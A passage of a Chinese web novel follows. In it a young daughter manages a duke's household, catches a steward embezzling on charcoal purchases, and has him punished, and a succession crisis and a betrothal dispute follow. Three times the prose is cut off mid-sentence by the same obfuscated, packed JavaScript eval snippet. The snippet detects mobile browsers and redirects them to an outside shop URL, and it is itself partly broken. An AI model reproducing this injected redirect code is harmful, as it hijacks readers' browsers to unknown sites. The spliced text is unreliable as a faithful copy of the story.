临行那日,天才蒙蒙亮,众人收拾停当,刚走到大门口,只见天色陡然暗下来。 乌云压得极低,像是要贴到人头上。狂风卷着尘土和落叶,呼呼地响。突然间,一道闪电亮晃晃地撕开半边天,紧接着就是一个炸雷。 雨点子噼里啪啦砸下来,起初还只是豆大,疏疏落落,眨眼间便成了密密的雨帘。 这场雨,足足下了两个多时辰才渐渐小下来。 曹辐一直站在廊下看,衣裳下摆湿透了也不觉着。 他是做过父母官的,知道这一场雨的分量。脸上的欢喜,是怎么也止不住了。 他竟走进雨里,仰着头,任凭雨水打在脸上,顺着脖子流进衣裳里,嘴里喃喃道:“好雨,好雨啊。这一下,地都浇透了,明年的庄稼,准错不了。老百姓有盼头了。” 薛氏撑着油纸伞,急急跑过去,一把扯住他的袖子,又是心疼又是埋怨:“官人,快些进屋来,着了凉可怎么好?” 曹辐回过头,冲她一笑:“好,进屋。” 这场大雨之后,又淅淅沥沥下了一夜小雨。直到次日清晨,天才放晴。 曹辐曹轮带着家眷,送到大门外。 王夫人拉着孙夫人的手,笑道:“昨日叫大雨隔住了,又搅扰你们一日,实在过意不去。” 孙氏笑着拍拍她的手,道:“嫂子说这话可就外道了。咱们骨肉至亲,说这样生分的话。别说住一日,便是住一年,我心里也是欢喜的。” 几位夫人又说了几句家常,王夫人和宋夫人便各自扶着丫鬟的手上了马车。 晚书、玉书、兰书,也上了后面的车,丫头们放下车帘,车夫扬鞭,马车便辚辚地驶动了。 走出去好一段,宋夫人在车里皱着眉,对王夫人道:“真想不到,这一住就是好几个月。家里就剩母亲一个人,也不知忙不忙得过来。” 王夫人靠着引枕闭目养神,听了这话,眼皮也不抬,淡淡地道:“你操这些心做什么。母亲年轻时候管着几十口人的家,什么风浪没见过?” 她这话说得轻巧,倒像是管家是什么容易的事。 宋夫人听了,心里就不大受用,白了她一眼,道:“母亲到底是上了年纪的人,管家这差事,千头万绪的,最耗精神。我平日里管着,还时常觉得头昏脑涨,何况母亲?” 王夫人听她这话里带着刺,心里也有些不快,便不再言语,只把头扭向一边,望着窗外掠过的田野。 妯娌两个,心里都把对方埋怨了一通,一路无话。 走了半个多月,总算平安回到鲁国公府。这一路,宋夫人可遭了大罪。 去的时候好好的,谁知回来时晕船晕得厉害,吃什么都吐,浑身软得跟面条似的。 “哎哟,可算是到家了。”宋夫人歪在床上,脸色蜡黄,一只手不停地抚着胸口,气若游丝,“我这心里头,还跟在船上似的,一荡一荡的,难受得紧。” 邹妈妈端了一碗粥进来,在床沿坐下,拿勺子轻轻搅着,道:“夫人,好歹吃两口垫垫肚子,空着胃更难受。” 宋夫人看了一眼那粥,皱着眉推开,道:“快拿走吧,闻着这味儿我就想吐。” 邹妈妈叹口气,把碗递给旁边的小丫头,又凑近了些,低声道:“夫人,家里头攒了一堆事呢。昨儿我回来,就好几个管事的嬷嬷要来见您回话,我估摸着您路上乏了,都给挡了。还有一事,老太太前几日也欠安,如今刚好了些。家里这些事没人拿主意,总这么撂着,也不是个长法儿。” 一听“管家”二字,宋夫人的头更疼了。她闭上眼,半晌才道:“婆母这病,怕是累出来的。我这样子,郎中说得好生养几个月。可这家里,总得有个管事的,你说让谁来暂管些日子好呢?” 她心里盘算起来。大房那边,向来不管这些家务事,况且这管家权,也断断不能落到王夫人手里。这管家是个出力不讨好的差事,弄不好就里外不是人。 自己两个闺女,大丫头眼看要出门子了,哪有临出嫁还揽事的?四丫头那性子,毛手毛脚的,更不成。 想来想去,只剩下五丫头曹晚书一个。只是她年纪到底小了些,不知道能不能镇得住那帮子管事妈妈,理得清那团乱麻。 她睁眼看邹妈妈,道:“你先去禀告老爷和老太太一声。再去问问五丫头是个什么主意,她若不愿意,也别勉强,我再想别的法子。” 曹晚书正在柳姨娘屋里做针线。柳姨娘歪在榻上,手里也拿着一件旧衣裳在缝补,有一搭没一搭地跟她说闲话。 正说着,邹妈妈站在门口,探进半个身子,笑着朝曹晚书招招手。 曹晚书放下针线,有些疑惑,起身走了出来。 邹妈妈见了她,脸上堆起笑,带着几分求人的姿态,说道:“五姑娘安。是这么回事,夫人身上不好,老太太也刚病了一场,家里头没人主持。夫人思来想去,统共就剩姑娘是个明白人。想请姑娘暂且替夫人管几个月的家,不知姑娘意下如何?” 曹晚书听了,不觉皱起眉,有些为难,道:“倒不是我推脱,只是我年纪小,辈分也低,那些管事妈妈们,怕未必肯听我的调遣。” 邹妈妈忙道:“哎哟,五姑娘这话可就太谦了。府里上上下下,谁不说五姑娘是姑娘里头最聪明最稳重的?再说,姑娘如今也大了,何不趁这机会历练历练。将来过了门,到了婆家,管起家来也得心应手不是?” 任凭邹妈妈说了一车好话,曹晚书只是沉吟不语。 她心里明白,这管家的事,说是权柄,实则是千斤重担。家里这些人,个个心里都有算盘,一个弄不好,就要得罪人。 “邹妈妈,这事体大,我得再想想。”曹晚书道。 话音刚落,门帘一挑,柳静钗从里头小跑了出来,脸上笑得像一朵花似的,一把拉住邹妈妈的手,道:“晚丫头愿意的!她年轻面嫩,不好意思说。你只管回去叫夫人放心,她定能替夫人管得好好的!” 邹妈妈眼睛一亮,喜得眉开眼笑,从袖子里掏出一大串黄铜钥匙,不由分说塞进曹晚书手里,道:“好嘞!有姑娘这句话,我就放心了!这是库房和各处院子的钥匙,夫人叫我先交给姑娘。”说罢,也不等曹晚书再开口,转身喜滋滋地走了。 曹晚书握着那沉甸甸的一串钥匙,看着邹妈妈走远,这才回过身,望着柳静钗,语气里满是埋怨:“小娘,你怎么能替我应下来呢?” 柳静钗却不以为然,拉着她往里走,低声道:“你个傻丫头,这是好事。你瞧瞧这天,一日冷似一日了。往年冬天,咱们院里分例的炭,一个月统共才四百斤。邹妈妈每次发炭,明面上给够数,私底下总要克扣些,哪个月不得少个一二十斤?咱们舍不得烧,夜里就只能捂着厚被子睡。你如今管家了,旁的不说,每月多拨给咱们紫蝶苑二百斤上好的银霜炭,这总不难吧?” 曹晚书听了这话,脸上淡淡的,心里却存着气。她缓缓道:“各房分例,一个月四百斤,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223915|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就只能发四百斤。我管家,只求能照章办事,不叫下头人克扣缺斤短两,就尽到本分了。一个月六百斤炭,那是老太太和太太屋里才有的分例。若是因为我管家,就私下多给咱们紫蝶苑二百斤,这账面上的亏空从哪儿来?旁人问起来,我又该怎么交代?” 柳静钗听她这么一说,有些急了,道:“这家少给一点,那家少给一点,从别处匀一匀,不就有了?” 曹晚书听了这话,道:“邹妈妈克扣咱们,那是她不对。如今我管家,若是也学她那样,去克扣别房的东西来贴补自己,那我成什么人了?” 柳静钗一听,气得浑身发抖,指着曹晚书,声音都颤了:“你这个榆木脑袋!怎么就想不明白呢?邹妈妈克扣了咱们多少年,咱们不过是要回一点。” 曹晚书轻轻叹了口气,上前扶住柳静钗的胳膊,道:“小娘,我原本不想应这件事,是你替我应下的。” 柳静钗听了这话,泪水涌了上来。她一把甩开曹晚书的手,悲愤道:“我算是看明白了!你自小养在她跟前,心里眼里就只有夫人,哪里还有我这个亲娘?我辛辛苦苦生下你,倒成了外人!” 曹晚书见她哭了,心里也不好受,忙掏出手帕子,轻轻给她擦泪,扶着她坐下,柔声道:“我不是那个意思。你想想,我若是私下给了咱们紫蝶苑炭,惠草堂的李姨娘头一个就不依。她那张嘴,你又不是不知道,必定要闹得沸沸扬扬。” 她说着,又恭恭敬敬给柳静钗倒了一碗热茶,双手捧到跟前。 柳静钗听了这话,怔了半晌,接过茶,喝了一口,心里的气渐渐消了些。早知道是这个结果,她何苦巴巴地跑出来替她应下?这可真是偷鸡不成蚀把米。 次日一早,天才蒙蒙亮,苏越家的就在外头轻轻敲了三下门,叫曹晚书起床。 果子、梅子两个丫头,原本在旁边小床上睡得正香,听见动静,一骨碌爬起来,揉揉眼睛,轻手轻脚点了灯,便过来服侍曹晚书穿衣梳洗。 梅子拿了梳子,给曹晚书慢慢梳着一头青丝,嘴里忍不住小声嘀咕起来:“姑娘,要我说,这管家可真不是人干的活儿。鸡还没叫呢,就得爬起来支应。您瞧瞧那个苏管家,一天恨不得往咱们院里跑十趟八趟,芝麻绿豆大点儿的事,也巴巴地跑来请姑娘的示下,好像离了姑娘,他就不会办事了似的。” 果子道:“他自个儿顶着管家的名头,管着那么大的账房,那手指缝里漏一漏,就够咱们寻常人家吃用一年的。那账本子上,猫腻多着呢!” 果子左右看看,见梅子在门口收拾衣裳,才继续道:“我听说前些日子,他悄没声儿地在东大街那边,置办下一所三进三出的大宅子,还带个大花园,又买了十几个水灵灵的小丫头和小厮进去伺候。 他家如今,穿的是绫罗绸缎,戴的是金玉首饰,出门呼奴唤婢,那排场,啧啧,比咱们府里正经的主子也不差什么了。” 这边还没梳完头,门外又传来苏越的声音:“五姑娘起了吗?给五姑娘请安。外头送炭的老王头,已经把今冬的五千斤上好的银霜炭都送到,卸在库房外头了。这是账目,请姑娘过过目,核验核验。” 果子忙开了门,从苏越手里接过一本蓝皮的账册,转身递进来。 曹晚书接过来,翻开看了两眼,柳眉便微微蹙起,隔着一道门,问道:“这账上记着,今年这十五斤一篓的炭,价钱倒比去年又涨了五钱银子?” 门外静了一瞬,随即传来苏越陪笑的声音,不慌不忙地答道:“姑娘您是金枝玉叶,长在深闺,不晓得外头柴米油盐的行情。这木炭嘛,一年贵似一年,今年这个价,说起来,还算是便宜的呢!再往后,只怕还要涨。” 18. 纵刁奴 曹晚书眉毛一抬:“苏管家莫不是欺我年轻,我怎地倒听人说,今年京城里炭行生意清淡,这上好的银霜炭,十五斤的价钱,比去年还足足便宜了五十文呢。难不成是我耳朵出了岔子,听错了?” 门外一时寂然,半晌苏越才回道:“嘿…嘿嘿,五姑娘说笑了。您深闺娇养,哪里晓得外头贩夫走卒的勾当。莫不是哪个不长眼的奴才,在姑娘跟前嚼了舌根子,唬弄姑娘玩儿呢?” “果子。”曹晚书立刻扬声吩咐,“那送炭的王老丈想是还在库房门口点验数目,你腿脚快,这就去把他请到这儿来。咱们当面锣对面鼓地问个清楚明白,也好让苏管家听听,到底是我这深闺女子被人唬弄了,还是有人想唬弄我。” 果子应了句“是”,开门出去。见苏越一张老脸,此刻青一阵白一阵,煞是好看。果子心里暗笑,脚下生风地去了。 不过一盏茶的功夫,一个穿着粗布短袄,满面风霜的中年汉子便候在了门外廊下。 曹晚书此时已梳洗停当,换上了一件袄儿,缓步走出房门。 她拿着账本,对着卖炭翁,声音平和地问道:“王老丈,你今冬供给咱们府上的上等银霜炭,十五斤一篓,作价几何?照实说。” 卖炭翁老实巴交,搓着手,躬着身回道:“回姑娘的话,小老儿不敢欺瞒,今年炭行生意艰难,十五斤一篓,实收五百五十文。” “哦?”曹晚书瞥了一眼账本,“可我记着,往年都是六钱十五斤,今年怎地反倒便宜了五十文?” 卖炭翁叹口气道:“姑娘有所不知,今年入冬暖和,外头贩炭的客商又多如牛毛,挤在京城里抢生意。这炭价,不掉下来几十文,怕是连本钱都收不回来哟!能得贵府这样长久的大主顾照应,小老儿已是感激不尽了。” 曹晚书微微颔首:“原来如此。王老丈辛苦。果子,好生送老丈出去,别忘了结清炭钱。”果子应声引着那卖炭翁走了。 待他们走后,苏越倒也乖觉,连忙低着头跪下认错:“五姑娘饶了我吧,求五姑娘饶过我这一回吧。” 曹晚书沉着脸,怒视了他一番,又转身回到屋子里,道:“十五斤炭火明明是五百五十文,你却跟我要六百文。卖炭翁共送来五千斤木炭,这余下来的钱岂不都送进了你的腰包?这样的管家,我们鲁国公府可要不起。” 谁曾想,地上跪着的苏越,听了这番疾言厉色的呵斥,反倒像是卸下了千斤重担。 他慢悠悠地拍了拍膝盖上的灰尘,一骨碌站了起来,换上了一副混不吝的惫懒笑容,仿佛方才跪地求饶的不是他。 他咧着嘴,露出几颗黄牙,皮笑肉不笑地道:“五姑娘,您呐,到底是年轻气盛。有些事儿,睁一只眼闭一只眼,大家面子上都好看,何苦非要捅破这层窗户纸呢? 您不过是替夫人暂管这几个月家务,风光几日罢了。何必为了这仨瓜俩枣的散碎银子,摆这主子的威风,把自己弄得跟个锱铢必较的夜叉似的? 仔细传扬出去,落个刻薄寡恩的名声,将来议亲事,那些高门大户,谁家敢要您这样的媳妇儿进门当家?” 梅子在一旁气得脸都涨红了,指着苏越骂道:“老东西,好大的狗胆!主子面前也敢这般放肆,眼里还有没有王法家规了!” 曹晚书忽然笑了,摆了摆手,语气竟出奇地平和:“罢了。苏管家,你先下去吧。库房的炭,好生收着。” 梅子有些气不过,问道:“姑娘就这样放过他了?长此以往,咱们府上的银钱岂不都进了他的腰包里面?” 曹晚书不紧不慢地端起茶碗,轻轻吹了吹,抿了一口,才道:“急什么。你们也看见了,我年纪小,苏管家又在咱们府上干了三十多年,根深叶茂的,他不服我是情理之中的事。若我方才真的罚了他,打也打不得,撵也撵不得,反倒落个刻薄的名声,那才叫得不偿失。” 果子在一旁听着,忽然间一拍大腿,脑袋瓜子一亮,恍然大悟道:“我明白了!” 梅子吓了一跳:“你明白什么了?” 果子两眼放光,凑上前道:“姑娘方才对他好言好语,是为了让他放松警惕,认为姑娘年纪小、脸皮薄、好容易被人摆布。苏管家一向贪财,只要他认为姑娘不敢拿他怎么样,放任他行此事,那么下一次,他还会这样干。 所以姑娘您是在等一个好时机,到时候人赃并获,既不用自己背上尖酸刻薄的名声,还能惩治刁奴,是不是这样?” 曹晚书不免有些惊奇,忍不住笑了:“行啊果子,没想到你的脑袋瓜子还能转的这么快,真是让我有些吃惊。” 她嘴巴一撅,头一昂,两条胳膊交叉起来抱在胸前,得意洋洋道:“那当然,怎么说也是跟着姑娘快十年的人了,这点儿本事还是有的。” 梅子颇有兴味的看着面前这两个人,忍不住捂着嘴巴偷笑。 “你呀,正经事一个都没学到,倒是这些学的精。”曹晚书用食指点了一下她的脑门儿,玩笑道。 “还不都是姑娘教的好。” 正是数九寒天,滴水成冰的时节。曹府后院里,黑黢黢的木炭堆得小山也似。几个粗使小厮,裹着臃肿的棉袄,抄着铁锹吭哧吭哧地往麻袋里装填。 炭是好炭,敲着当当响,乌黑发亮。装满了便抬到秤杆子上,管事的扯着嗓子吆喝斤两,按着各房各院的份例,分堆儿码放齐整。 陶然轩的宋夫人惦记着炭火,派了跟前得脸的邹妈妈,领着几个壮实小厮,风风火火地来寻曹晚书讨要她那一份。 曹晚书见是邹妈妈亲至,忙不迭从暖阁里迎出来,脸上堆着笑:“邹妈妈,这天寒地冻的,怎敢劳动您老人家亲自跑一趟。我正紧着催人,收拾停当了就给您送过去呢。” 邹妈妈是个富态人儿,脸上笑呵呵地说:“五姑娘这话折煞老身了,夫人跟前离不得人,哪敢劳动姑娘的人,我们自取了便是。”说着,朝后头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227525|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一努嘴,那几个小厮便上前去搬那堆好的炭袋子。 曹晚书亲热地挽着邹妈妈胳膊往屋里让:“妈妈快屋里坐坐,吃杯热茶暖暖身子。母亲这几日身上可大安了?我这儿琐事缠身,也不得空过去请安,心里着实不安。” “坐不得,坐不得,”邹妈妈连连摆手,“老婆子一身寒气,别污了姑娘的屋子。夫人身子骨儿是好些了,只是为着大姐儿的嫁妆,操碎了心,熬红了眼,一时半刻还顾不到这边,少不得还得辛苦五姑娘多担待些日子。” “这有甚么的,大姐姐的终身大事最是要紧,我年轻,多跑跑腿儿也是应当的。” 曹晚书话音刚落,就见老太太院里的刘妈妈沉着一张老脸,脚下生风地闯了进来,那架势,活像谁欠了她八百吊钱。 “五姑娘!”刘妈妈说话声音里带着火气,“老太太房里的炭,年年月例六百斤,雷打不动!今年倒好,统共只给了五百斤。这大冷的天,老太太的腿疾犯了,疼得夜里睡不着,炭火再供不上,可怎么得了。姑娘莫不是算错了帐?” “五百斤?”曹晚书柳眉微蹙,“这如何可能?刘妈妈,您老瞧瞧,每一院的炭,只多不少,尤其祖母房里的,我长了几个胆子敢克扣。” 这边正说着,那边邹妈妈眼尖,已觉得自家那份炭袋子似乎也不甚饱满。 邹妈妈是个精细人,立刻喝住那几个正搬炭的小厮:“慢着!把袋子解开,放秤上再称一回。” 这一称不打紧,陶然轩的炭,也足足少了快一百斤。 邹妈妈的脸登时就拉了下来:“五姑娘,这话儿怎么说的?夫人信任你,把管家钥匙交你手上,你…你这克扣得也忒狠了些吧?老太太、夫人屋里的都敢短,这……”后半句咽下去了,意思明摆着:你这丫头心也太黑了。 曹晚书丝毫不慌,反倒抿嘴一笑,眼神中透着股精明:“妈妈们别急,都是误会。我就怕有那起子没王法的刁奴从中作耗,早就防着这一手呢。果子,”她唤过贴身丫头,“去,把今儿个我特意请来的那位衙门里的差爷请来。各房各院该得多少斤炭,他手里那簿子上,一笔笔记得清楚明白,人证物证俱在。如今果然少了这许多,定是有人手脚不干净。依我看,这事不能善了,干脆报官,请官老爷来断个明白。” 刘妈妈一听报官二字,吓得魂儿都飞了半截,忙不迭地拦住:“哎哟我的小祖宗,万万使不得。这点子家务事闹到公堂上,满城风雨,咱们国公府的脸面还要不要了?传到老爷耳朵里,更要命!” “别的事也就罢了,”曹晚书正色道,“可祖母腿疾难熬,最受不得寒气。那黑了心肝的贼,竟敢算计到老太太头上,这是我万万不能忍的。报官不成,也得让爹爹知道,这府里怕是有家贼呢。” 她转头吩咐果子:“去,悄悄的,把府里前后角门都给我闩死了,没我的话,一只苍蝇也不许放出去。今儿个,我非得把这偷炭的贼揪出来不可!” 19. 惩治刁奴 曹望刚从外面回来,屁股还没坐热乎,就听了这事,他是最注重名声的人,尤其是孝道。 “反了天了,哪个杀才敢如此欺主!告诉五丫头,叫她放手去查,查出来爷扒了他的皮。” 雷霆之怒,隔墙有耳。 苏越家的正在寻她小女儿香云,无意间听了这话,唬得心肝儿扑通扑通直跳,她猛地醒过神,提着裙子,一溜小跑就往外冲。 此时,苏越管家指挥着两个心腹小厮,把一袋袋沉甸甸的银霜炭,往几个半人高的大水桶里塞。水桶底下垫着厚厚的稻草,上面再盖些杂物遮掩,打算趁乱把这湿炭当脏水运出府去。 “当家的!当家的!不好了!”苏越家的气喘吁吁地扑到跟前,脸都白了。 “慌什么?天塌了不成?”苏越正得意,不耐烦地斥道。 “真塌了!老爷发了好大的火,让五姑娘放手查偷炭贼呢。我早说过,咱们不缺这点银子,偏你贪心,如今惹祸上身了。” 苏越嗤笑一声,浑不在意:“嘁,一个小丫头片子,乳臭未干,她能查出个屁来。就算查到我头上,老子三言两语就能把她唬住,她敢动我一根指头试试?” “真……真没事?”苏越家的被他说得将信将疑,那点惊慌也去了大半。 “能有什么事?”苏越一脸轻蔑,“咱们要不这么着,东西街那两进的好宅子,天上掉下来的?要不捞点油水,哪来的银子使唤十几个丫头婆子伺候你?怕什么。”他拍拍媳妇的手,“套车,走!” 苏越亲自把排车套在膘肥体壮的大青骡子上,吆喝着,大摇大摆就往府门赶。 眼看行到门前,隐隐约约总觉不太对劲。 “坏了。”苏越见外头气氛不对劲,心里咯噔一下,暗道不妙,掉头就想溜。 说时迟那时快,旁边假山后“噌噌噌”窜出几条彪形大汉,如狼似虎扑将上来。 苏越平日里养尊处优,压根不是对手,三下五除二就被按翻在地,捆得跟个粽子似的。 曹晚书从长廊里缓缓走出,走到大水桶边,伸手掀开桶盖,里面满满当当,塞的全是上好的银霜炭。 她居高临下地看着地上的苏越:“事到如今,你还有何话说?” 苏越家的见大势已去,连滚带爬扑到曹晚书脚边,抱着她的腿就嚎:“五姑娘,我们知错了,下次再不敢了,求姑娘开恩啊。” 嚎罢,她又扑到苏越身边,捶打撕扯:“你这作死的老东西!还不快给五姑娘磕头认错,求姑娘饶咱们小命。” 苏越被捆着,梗着脖子,拳头攥得死紧。非但不求饶,反而抬起一双怨毒的眼,死死盯着曹晚书,话里话外全是威胁:“五姑娘,你今日捆我,可曾想过后果?我苏越在鲁国公府,伺候过老国公爷,又跟着现任国公爷鞍前马后几十年,没有功劳也有苦劳。 就算我苏越有千般不是,你一个未出阁的小姐,当着阖府下人的面,如此折辱于我?传扬出去,你曹五姑娘的贤良淑德还要不要了?这辈子还想不想寻个好人家了?别到时候,只能配个乡野村夫、挑粪的夯汉,你可别后悔!” “刁奴欺主,贪墨主家,还敢狂言犯上?来人,给我掌这个不知死活奴才的嘴!” “啪!” 一声清脆响亮的耳光,狠狠抽在苏越那张老脸上,五个鲜红的指印瞬间坟起。 苏越被打懵了,随即羞怒攻心,像条疯狗般挣扎着就要破口大骂。刚一张嘴,猛一抬头,见曹望不知何时已站在面前。 苏越那点嚣张气焰,霎时间瘪了下去,哆嗦着喊了声:“老…,老爷。” “哼!”曹望从鼻子里重重哼了一声,背着手,踱到苏越跟前,“方才是哪个杀才说,要把我的女儿配给乡野村夫、挑粪的夯汉啊?嗯?” “老奴……老奴一时糊涂。”苏越吓得魂飞魄散。 曹望眼里寒光一闪:“我看你是精明过头了。念你自幼跟着我,几十年的情分,你背地里那些勾当,我睁一只眼闭一只眼。可你千不该万不该,竟敢把爪子伸到老太太头上。贪墨炭火,要冻死我老娘不成?” 他一挥手,对身边的长随喝道:“来人,即刻去寻了人牙子来,把这黑了心的老狗,连同他这贼婆娘,一并给我发卖了,卖得越远越好!再给我仔细查,查他这些年在府里贪墨了多少,把他名下那些宅子、铺面、存的银子,统统给我抄没了,一个子儿也不许剩!滚!” 苏越夫妇听了这判决,瞬间瘫软在地,不停地嚎哭讨饶,很快便被堵了嘴拖了下去。 话说金书嫁与顾平生后,打扮得花朵儿一般,携着新女婿顾官人,一道回门来拜望爹娘。 这顾平生生得也是好一个俊俏风流人物,浑似块无瑕美玉,温温润润。他二人手挽着手儿,进得堂来,规规矩矩给曹望并宋夫人磕了头。 一家子围坐吃茶,叙些闲话。忽听得外头脚步声响,帘子一掀,钻进个人来,正是二哥儿曹辕。 他跑得气喘如牛,脸色煞白,一迭声嚷道:“爹,娘,不好了,天大的事!听说官家今朝在殿上,突然犯了头风,立时就下旨,把储君的位子给了瑞王殿下。” 宋夫人直愣愣站起来,嗓子眼发紧:“你…你说什么?储君不是襄阳王?” “千真万确!是瑞王!”曹辕抹了把汗,急道。 曹望赶忙去换上官服,骑上马速速赶往大内。 次日,宫里便传出官家殡天的消息。瑞王殿下登基为帝,襄阳王则前往封地,无召不得离开。 宋夫人突然想起两年前,五丫头晚书那场怪梦,说襄阳王日后要惹塌天大祸,敢情这梦竟要应验了不成? 她越想越怕,肠子都悔青了,万幸! 万幸当初没把金书那丫头许给襄阳王。若不然……她不敢再想。 旁边邹妈妈也拍着大腿,咂嘴道:“我的天爷,可不是亏了五姐儿那梦?若真叫大姑娘嫁了过去,日后襄阳王作起反来,咱们这鲁国公府,上上下下几百口子,还不都得跟着砍了脑袋?想想都吓煞人也。” 宋夫人此刻真如捡了条命回来,一迭声唤丫鬟:“快,快把我那件素紫色褙子拿来,赶紧的,去祠堂!”她慌手忙脚,也顾不得收拾,直奔祖宗祠堂而去。 进了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236851|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门,扑通跪在蒲团上,对着那黑压压一片祖宗牌位,连磕了三个响头,嘴里絮絮叨叨念个不住:“阿弥陀佛,祖宗菩萨显灵,列祖列宗保佑。亏得您老几位在天有灵,没叫咱曹家一脚踏进那火坑里,保佑咱家子孙平平安安,无灾无难……” 上罢了香,惊魂稍定,宋夫人眼珠儿一转,心思又活络起来,扯着邹妈妈的袖子,问:“你说这新官家登了基,那正宫娘娘的位子花落谁家?咱们玉姐儿还有指望没?” 邹妈妈心里暗叹这夫人真是心比天高,嘴里只得劝道:“夫人哟,您醒醒神儿罢,四姑娘自个儿就不愿进那见不得人的去处。再者说,当年老国公爷落难,可是李家豁出性命救下的。为报这大恩,老国公亲口许下,将咱们四姑娘许给他家哥儿李植,指腹为婚的娃娃亲,这如何赖得?” 宋氏撇撇嘴,一脸得不以为然:“都是些陈芝麻烂谷子的事儿了,李家这十几年连个鬼影子都不见上门,怕是早把这茬儿忘了,谁还当真?” 转眼入了寒冬,朔风凛冽。 这日,宋夫人歪在暖炕上,抱着手炉发闷,外头小厮一路飞跑进来报喜:“夫人,大喜!三爷回来了!三爷回来啦!” 宋夫人一骨碌爬起来,鞋也顾不上穿好,趿拉着就往外奔,迭声问:“我儿在哪?” “在老太太屋里头请安呢。”邹妈妈喜得眉开眼笑。 宋夫人三步并作两步赶到老太太上房。 一掀帘子,只见曹舆一身明晃晃的盔甲,挺胸凸肚立在那里,果然与从前那个只会斗鸡走马,眠花宿柳的纨绔子弟大不相同,带有几分威风煞气。 宋夫人扑上去,拉着儿子的手,上上下下,前前后后,眼珠子恨不得黏在他身上,看可有伤损。 她摸着冰凉的铁甲,眼泪就下来了:“我的儿,你可算囫囵个儿回来了。” 待抬眼细看,见儿子左边脸颊上,赫然刺着两行青黢黢的小字,显是军中印记。 宋夫人心如刀绞,抚上去问:“儿啊,疼不疼?” 曹舆咧嘴一笑,浑不在意:“娘,这点皮肉之苦算个甚!男子汉大丈夫,在刀枪林里滚的人,若这点疼都受不住,还提什么上阵杀敌,收复燕云十六州?” 老太太在炕上捻着佛珠,老怀大慰,连声道:“好,好!好孙儿!这才像你祖父的种,有出息了。” 正说着,曹晚书进来了,她笑吟吟的,手里捧着一卷书,径直走到曹舆面前,双手奉上:“三哥哥,常言道‘为将不知古今,匹夫之勇耳’。妹妹寻了本《左氏春秋》,送与哥哥。盼哥哥熟读史鉴,胸有丘壑,精忠报国,早日将沦陷的疆土夺回来。” 曹舆郑重接过,点头道:“谢五妹妹费心。” 这时老太太身边的心腹刘妈妈脚步匆匆进来,附在老太太耳边,低低说了几句。 老太太脸色微变,忙吩咐道:“快请玉姐儿过来。” 宋夫人正拉着儿子抹泪呢,见状不解:“母亲,这是怎的了?又出甚事?” 老太太沉声道:“李家来人了。” “哪个李家?”宋夫人一时没回过味。 20. 偶遇表哥 老太太没好气地瞪她一眼:“还能是哪个李家?当然是曾经豁出命救下你公爹的李家。十几年没音信,这冷不丁上门,还能为甚?自然是来讨你当年不认账的那门亲事了。” 宋夫人脑子“嗡”的一声,如同挨了一闷棍,脱口道:“啊?这…这如何使得?十几年不来往,穷乡僻壤的破落户,冷不丁跑来谈亲,我…我还不乐意呢!” 老太太气得直拍桌子:“糊涂。当年是你公爹亲口许下的诺,救命之恩大于天。你想赖账,曹家的脸面还要不要了?我知道你打的什么主意,趁早歇了。新官家已经立了郭氏为后,六宫有主了!” 这时,屏风后转出曹玉书。她显然已听了多时,脸上淡淡的,不见悲喜,对着母亲和祖母福了一福,声音清朗:“祖母,母亲。既是祖父为报大恩定下的婚约,李家如今寻来,理当践诺。若李家真是为议亲而来,孙女…愿嫁。” 宋氏一听,急得直跺脚,拉着女儿的手:“我的儿,你可知李植是个什么货色?听说整日价只知求仙访道,鼓捣些丹炉药鼎,怕不是个疯疯癫癫的。品性如何,谁人知晓?这不是把你往火坑里推么。” 曹玉书轻轻抽回手,嘴角噙着一丝若有若无的笑:“母亲休要再言。祖父一诺千金,曹家岂能失信于人?女儿心意已决。” 这会儿小厮又跑进来禀报:“老太太,夫人,李家夫人的轿子到门口了。” 老太太忙叫刘妈妈扶着起身,披上厚实的貂鼠皮袄,亲自迎了出去。 这个李家夫人也是个会来事的,下了轿子,满脸堆笑,三步并作两步上前搀住老太太:“哎哟哟,老寿星,您老这精神头儿,可一点不比十年前差,瞧着还更硬朗了。” 老太太也笑道:“老喽,头发都白了,骨头也朽了,一阵风就能吹倒,哪比得当年。” 李夫人眸子滴溜溜在屋里几个姑娘身上打转,尤其在曹玉书和曹晚书脸上停留许久,才转向宋夫人,啧啧称赞:“哎呦,夫人好福气,瞧瞧这两位姐儿,真真是画儿上走下来的人儿,被夫人调理得这般齐整,教人看着就爱。” 她故作打量,笑问:“不知哪位是四姐儿?” 玉书大大方方上前一步,福身行礼:“伯母安好,侄女玉书。” 